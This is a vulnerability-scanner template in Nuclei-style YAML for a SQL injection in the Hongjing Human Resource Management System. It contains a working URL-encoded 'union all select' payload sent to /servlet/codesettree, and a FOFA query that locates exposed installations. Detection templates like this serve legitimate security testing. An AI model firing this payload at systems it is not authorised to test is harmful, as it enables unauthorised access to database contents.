id: CNVD-2023-08743

info:
  name: Hongjing Human Resource Management System - SQL Injection
  author: SleepingBag945
  severity: critical
  description: There is a SQL injection vulnerability in the categories of Hongjing Human Resource Management System, from which attackers can obtain sensitive database information.
  reference:
    - https://www.henry4e36.top/index.php/archives/162.html
    - https://blog.csdn.net/qq_41904294/article/details/130944159
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="人力资源信息管理系统"
  tags: cnvd2023,cnvd,hongjing,hcm,sqli

http:
  - raw:
      - |
        GET /servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27hongjing~27~2c~40~40version~2d~2d HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header,"text/xml")'
          - 'contains_all(body,"TreeNode id=\"hongjing","SQL Server")'
        condition: and
# digest: 4a0a004730450220740315da7b9f8ba34c09ccbf2f7878d80b4c0fab8fe83768033d714abff16847022100d8fd11b9d7be550c81d1017473046fe80b7c424b8ad8a05bd4c9f967d88c8f44:922c64590222798bb761d5b6d8e72950